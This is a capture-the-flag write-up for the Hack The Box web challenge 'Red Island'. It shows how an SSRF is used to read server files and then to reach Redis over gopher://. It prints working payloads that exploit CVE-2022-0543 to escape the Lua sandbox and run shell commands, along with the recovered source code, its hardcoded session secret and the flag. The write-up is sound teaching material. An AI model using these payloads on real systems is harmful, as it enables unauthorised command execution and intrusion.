Red Island
4 minutes to read
We are given a website like this:
We can register a new account and then login to see this functionality:
This time we don’t have the source code for the web application, so we must find a clear vulnerability or get the source code somehow.
We can start thinking of Server-Side Request Forgery (SSRF). As in other challenges, we know that the web server listens on port 1337, so let’s try and get http://127.0.0.1:1337
:
And we get the HTML code for the index.html
page. Then it is vulnerable to SSRF. We can try using other protocol schemas as file://
:
Alright, we can turn the SSRF into a path traversal vulnerability and read files from the server.
We can continue by enumerating processes to see what is going on. We see two important services running:
So we see that it is a Node.js app that uses Redis. As in other challenges, the source code main file might be at /app/index.js
. Let’s verify it:
Perfect. We can get the source code. This is /app/index.js
:
const express = require('express')
const app = express()
const session = require('express-session')
const RedisStore = require('connect-redis')(session)
const path = require('path')
const cookieParser = require('cookie-parser')
const nunjucks = require('nunjucks')
const routes = require('./routes')
const Database = require('./database')
const { createClient } = require('redis')
const redisClient = createClient({ legacyMode: true })
const db = new Database('redisland.db')
app.use(express.json())
app.use(cookieParser())
redisClient.connect().catch(console.error)
app.use(
session({
store: new RedisStore({ client: redisClient }),
saveUninitialized: false,
secret: 'r4yh4nb34t5B1gM4c',
resave: false
})
)
nunjucks.configure('views', { autoescape: true, express: app })
app.set('views', './views')
app.use('/static', express.static(path.resolve('static')))
app.use(routes(db))
app.all('*', (req, res) => {
return res.status(404).send({ message: '404 page not found' })
})
;(async () => {
await db.connect()
await db.migrate()
app.listen(1337, '0.0.0.0', () => console.log('Listening on port 1337'))
})()
We can still get more source files, but none of them has more information to solve the challenge. All third-party libraries are updated, so there is no image processing vulnerabilities.
One thing to notice is that we don’t know where is the flag. So we must guess that we need to obtain Remote Code Execution on the server to look for the flag.
Moreover, since the challenge is called “Red Island” and we know that Redis is being used as session storage, the solution must be related to Redis.
Doing some research, we can get to CVE-2022-0543, which is a way to execute commands escaping from Lua sandbox. This blog post shows how to exploit it. Basically, it uses an EVAL
query on Redis to execute Lua code, and escapes from the sandbox using an external shared library:
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
The shared libary is available in the server:
So we are on the right path. Now we need to figure out how to interact with Redis using SSRF.
Doing some research, we can see that curl
is able to talk to Redis using HTTP, but we need specific parameters and we can’t use them on this website.
There is another protocol that can communicate with Redis, and that is the gopher://
protocol. In fact, there are ways to get RCE using this protocol (and without the previous CVE), but they don’t work this time. More information at infosecwriteups.com.
Basically, we will use the Lua code from EVAL
to execute commands on the server. We need to be careful on URL encoding and some protocol fields to set the correct content length.
For instance, we can use the following URL to execute ls /
:
gopher://127.0.0.1:6379/_*3%0d%0a%244%0d%0aeval%0d%0a%24178%0d%0a%0a%0alocal%20io_l%20%3d%20package.loadlib('%2fusr%2flib%2fx86_64-linux-gnu%2fliblua5.1.so.0'%2c'luaopen_io')%3blocal%20io%3dio_l()%3blocal%20f%3dio.popen('ls%20%2f'%2c'r')%3blocal%20res%3df%3aread('*a')%3bf%3aclose()%3breturn%20res%0a%0a%0d%0a%241%0d%0a0%0d%0a*1%0d%0a%244%0d%0aquit%0d%0a
Notice that there is an integer 178
that represents the length of the EVAL
command. We have this output:
We see a file called readflag
. Let’s see what type of file we have using file /readflag
(we need to update the length to 188
):
gopher://127.0.0.1:6379/_*3%0d%0a%244%0d%0aeval%0d%0a%24188%0d%0a%0a%0alocal%20io_l%20%3d%20package.loadlib('%2fusr%2flib%2fx86_64-linux-gnu%2fliblua5.1.so.0'%2c'luaopen_io')%3blocal%20io%3dio_l()%3blocal%20f%3dio.popen('file%20%2freadflag'%2c'r')%3blocal%20res%3df%3aread('*a')%3bf%3aclose()%3breturn%20res%0a%0a%0d%0a%241%0d%0a0%0d%0a*1%0d%0a%244%0d%0aquit%0d%0a
It is an ELF binary, so maybe if we execute it we get the flag. Then, let’s run /readflag
(we need to update the length to 183
):
gopher://127.0.0.1:6379/_*3%0d%0a%244%0d%0aeval%0d%0a%24183%0d%0a%0a%0alocal%20io_l%20%3d%20package.loadlib('%2fusr%2flib%2fx86_64-linux-gnu%2fliblua5.1.so.0'%2c'luaopen_io')%3blocal%20io%3dio_l()%3blocal%20f%3dio.popen('%2freadflag'%2c'r')%3blocal%20res%3df%3aread('*a')%3bf%3aclose()%3breturn%20res%0a%0a%0d%0a%241%0d%0a0%0d%0a*1%0d%0a%244%0d%0aquit%0d%0a
And there it is: HTB{r3d_h4nd5_t0_th3_r3disland!}
.